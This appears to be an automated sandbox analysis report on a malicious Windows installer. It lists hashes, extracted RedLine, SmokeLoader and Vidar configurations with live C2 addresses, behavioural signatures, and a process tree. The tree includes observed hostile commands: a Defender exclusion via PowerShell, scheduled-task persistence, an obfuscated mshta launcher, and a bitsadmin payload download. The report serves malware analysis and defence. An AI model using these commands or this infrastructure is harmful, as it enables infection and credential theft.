Resubmissions
13-10-2021 18:35
211013-w8lxmaegdr 1013-10-2021 12:38
211013-pvkdbadhdm 1013-10-2021 05:30
211013-f7nrtsdfa3 1012-10-2021 20:25
211012-y7qwasdbh4 1011-10-2021 21:02
211011-zvywtaabdq 10Analysis
-
max time kernel
132s -
max time network
614s -
platform
windows10_x64 -
resource
win10-de-20210920 -
submitted
13-10-2021 18:35
General
-
Target
setup_x86_x64_install.exe
-
Size
3.4MB
-
MD5
26f28bf2dc2b6afc0dd99cb6ea3879b8
-
SHA1
9270b9f48e2d14cc2cbed61ee2e2389d5f69ce05
-
SHA256
5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa
-
SHA512
5a350373e87673c9ba39e5353bea1d7c1f2f7bc62a703ed13e892e69037008f3e2accadbdd0ec0bd976e54c68b79dfad6fb37517dd55448cac4d9d74ae8a037b
Malware Config
Extracted
redline
she
135.181.129.119:4805
Extracted
smokeloader
2020
http://gmpeople.com/upload/
http://mile48.com/upload/
http://lecanardstsornin.com/upload/
http://m3600.com/upload/
http://camasirx.com/upload/
Extracted
vidar
41.2
933
https://mas.to/@serg4325
-
profile_id
933
Signatures
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Modifies system executable filetype association 2 TTPs 1 IoCs
-
Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 5 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 3 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 1 IoCs
-
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs
-
Checks BIOS information in registry 2 TTPs 18 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 8 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 8 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 1 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 9 IoCs
-
Suspicious use of SetThreadContext 4 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 9 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 18 IoCs
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Download via BitsAdmin 1 TTPs 1 IoCs
-
Kills process with taskkill 3 IoCs
-
Modifies data under HKEY_USERS 5 IoCs
-
Modifies registry class 21 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 2 IoCs
-
Suspicious behavior: SetClipboardViewer 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 3 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
-
C:\Users\Admin\AppData\Roaming\buieagrC:\Users\Admin\AppData\Roaming\buieagr2⤵
-
C:\Users\Admin\AppData\Roaming\buieagrC:\Users\Admin\AppData\Roaming\buieagr3⤵
-
C:\Users\Admin\AppData\Roaming\eaieagrC:\Users\Admin\AppData\Roaming\eaieagr2⤵
-
\??\c:\windows\system\svchost.exec:\windows\system\svchost.exe2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵
-
C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20762bc3f6.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20762bc3f6.exeMon20762bc3f6.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon206b909958ed4.exe /mixone4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon206b909958ed4.exeMon206b909958ed4.exe /mixone5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 6606⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 6766⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 6846⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 7006⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 8446⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 9006⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 9326⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 12206⤵
- Executes dropped EXE
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 12926⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 13726⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3060 -s 13646⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20927aab1e5.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exeMon20927aab1e5.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exeC:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exeC:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20927aab1e5.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209b3da1556b9a317.exeMon209b3da1556b9a317.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\inst1.exe"C:\Users\Admin\AppData\Local\Temp\inst1.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 9008⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4168 -s 15448⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-74K4G.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-74K4G.tmp\setup.tmp" /SL5="$301F0,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-M5TAO.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-M5TAO.tmp\setup.tmp" /SL5="$B01D4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-222EQ.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-222EQ.tmp\postback.exe" ss111⤵
-
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\7317263.scr"C:\Users\Admin\AppData\Roaming\7317263.scr" /S8⤵
-
C:\Users\Admin\AppData\Roaming\7760839.scr"C:\Users\Admin\AppData\Roaming\7760839.scr" /S8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\7727165.scr"C:\Users\Admin\AppData\Roaming\7727165.scr" /S8⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\8616791.scr"C:\Users\Admin\AppData\Roaming\8616791.scr" /S8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\8538796.scr"C:\Users\Admin\AppData\Roaming\8538796.scr" /S8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"7⤵
- Executes dropped EXE
- Modifies registry class
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE"8⤵
- Drops file in Program Files directory
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20b6f9d5bd03a305.exeMon20b6f9d5bd03a305.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon20d3b8b752.exeMon20d3b8b752.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\Pictures\Adobe Films\d7izfwqcxSxTs_ip0dRdhKhU.exe"C:\Users\Admin\Pictures\Adobe Films\d7izfwqcxSxTs_ip0dRdhKhU.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe"C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe"IaypBaV00UCViExk2rtkhNx2.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\IaypBaV00UCViExk2rtkhNx2.exe"IaypBaV00UCViExk2rtkhNx2.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1644 -s 1448⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\7r5fhqYuyEumtO7YM1fvQjIx.exe"C:\Users\Admin\Pictures\Adobe Films\7r5fhqYuyEumtO7YM1fvQjIx.exe"6⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\DOCUME~1\BGFYOC~1.EXE"7⤵
-
C:\Users\Admin\DOCUME~1\BGFYOC~1.EXEC:\Users\Admin\DOCUME~1\BGFYOC~1.EXE8⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\WDNL5A~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\WDNL5A~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\WDNL5A~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\YDDI6J~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\YDDI6J~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\YDDI6J~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )11⤵
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\System32\mshta.exe vbsCrIPT:cLoSE( CrEaTeoBJeCt( WscRIpT.sHElL ). Run ( cmd /R cOpY /Y ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\ADOBEF~1\DGH0B0~1.EXE"" ) do taskkill -f -iM ""%~NxM"" , 0 , truE ) )12⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\6VXNRN~1.EXE" /mixtwo9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\6VXNRN~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\6VXNRN~1.EXE /mixtwo10⤵
- Suspicious use of SetThreadContext
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\8FKAMJ~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\8FKAMJ~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\8FKAMJ~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\RXO_TW~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\RXO_TW~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\RXO_TW~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\JLU4R6~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\JLU4R6~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\JLU4R6~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\OQ2KTG~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\OQ2KTG~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\OQ2KTG~1.EXE10⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\HPC6G3~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\HPC6G3~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\HPC6G3~1.EXE10⤵
-
C:\Users\Admin\AppData\Roaming\8568118.scr"C:\Users\Admin\AppData\Roaming\8568118.scr" /S11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\4974247.scr"C:\Users\Admin\AppData\Roaming\4974247.scr" /S11⤵
-
C:\Users\Admin\AppData\Roaming\8097829.scr"C:\Users\Admin\AppData\Roaming\8097829.scr" /S11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
-
C:\Users\Admin\AppData\Roaming\8629902.scr"C:\Users\Admin\AppData\Roaming\8629902.scr" /S11⤵
-
C:\Users\Admin\AppData\Roaming\4756473.scr"C:\Users\Admin\AppData\Roaming\4756473.scr" /S11⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE"9⤵
-
C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXEC:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RICLF.tmp\DXLVOB~1.tmp"C:\Users\Admin\AppData\Local\Temp\is-RICLF.tmp\DXLVOB~1.tmp" /SL5="$104AC,506127,422400,C:\Users\Admin\Pictures\ADOBEF~1\DXLVOB~1.EXE"11⤵
-
C:\Users\Admin\AppData\Local\Temp\is-A34DP.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-A34DP.tmp\DYbALA.exe" /S /UID=270912⤵
-
C:\Program Files\Windows Defender Advanced Threat Protection\PAEAROKMDG\foldershare.exe"C:\Program Files\Windows Defender Advanced Threat Protection\PAEAROKMDG\foldershare.exe" /VERYSILENT13⤵
-
C:\Users\Admin\AppData\Local\Temp\b2-54f61-e18-59787-f9277031e14dc\Fagaewilewe.exe"C:\Users\Admin\AppData\Local\Temp\b2-54f61-e18-59787-f9277031e14dc\Fagaewilewe.exe"13⤵
-
C:\Users\Admin\AppData\Local\Temp\91-88ec9-f61-3ce9d-857ecd27935a9\Taregaqaela.exe"C:\Users\Admin\AppData\Local\Temp\91-88ec9-f61-3ce9d-857ecd27935a9\Taregaqaela.exe"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uokflhfi.luk\GcleanerEU.exe /eufive & exit14⤵
-
C:\Users\Admin\AppData\Local\Temp\uokflhfi.luk\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\uokflhfi.luk\GcleanerEU.exe /eufive15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe /qn CAMPAIGN="654" & exit14⤵
-
C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exeC:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe /qn CAMPAIGN="654"15⤵
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\wxehpyx0.i0b\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1633890786 /qn CAMPAIGN=""654"" " CAMPAIGN="654"16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q4zaa34u.xh2\any.exe & exit14⤵
-
C:\Users\Admin\AppData\Local\Temp\q4zaa34u.xh2\any.exeC:\Users\Admin\AppData\Local\Temp\q4zaa34u.xh2\any.exe15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\c1pjxbzz.yqn\gcleaner.exe /mixfive & exit14⤵
-
C:\Users\Admin\AppData\Local\Temp\c1pjxbzz.yqn\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\c1pjxbzz.yqn\gcleaner.exe /mixfive15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ncljovje.hh5\autosubplayer.exe /S & exit14⤵
-
C:\Users\Admin\AppData\Local\Temp\ncljovje.hh5\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\ncljovje.hh5\autosubplayer.exe /S15⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsxC207.tmp\tempfile.ps1"16⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z16⤵
- Download via BitsAdmin
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Loads dropped DLL
- Creates scheduled task(s)
- Modifies registry class
-
C:\Users\Admin\Pictures\Adobe Films\JBNwoNbKSQ_apvK7uEp0UK4u.exe"C:\Users\Admin\Pictures\Adobe Films\JBNwoNbKSQ_apvK7uEp0UK4u.exe"6⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\Xl8TQVvdcDhDCxd521jUkOk_.exe"C:\Users\Admin\Pictures\Adobe Films\Xl8TQVvdcDhDCxd521jUkOk_.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies registry class
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE"7⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXEC:\PROGRA~2\Company\NEWPRO~1\DOWNFL~1.EXE8⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\cutm3.exe"7⤵
- Executes dropped EXE
- Drops file in Windows directory
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\PROGRA~2\Company\NEWPRO~1\inst3.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe"C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe"C:\Users\Admin\Pictures\Adobe Films\XGHmyTmdqOoi0KJ25zNj6YQF.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\OSPi343cts_P2UecYk_NoXxU.exe"C:\Users\Admin\Pictures\Adobe Films\OSPi343cts_P2UecYk_NoXxU.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
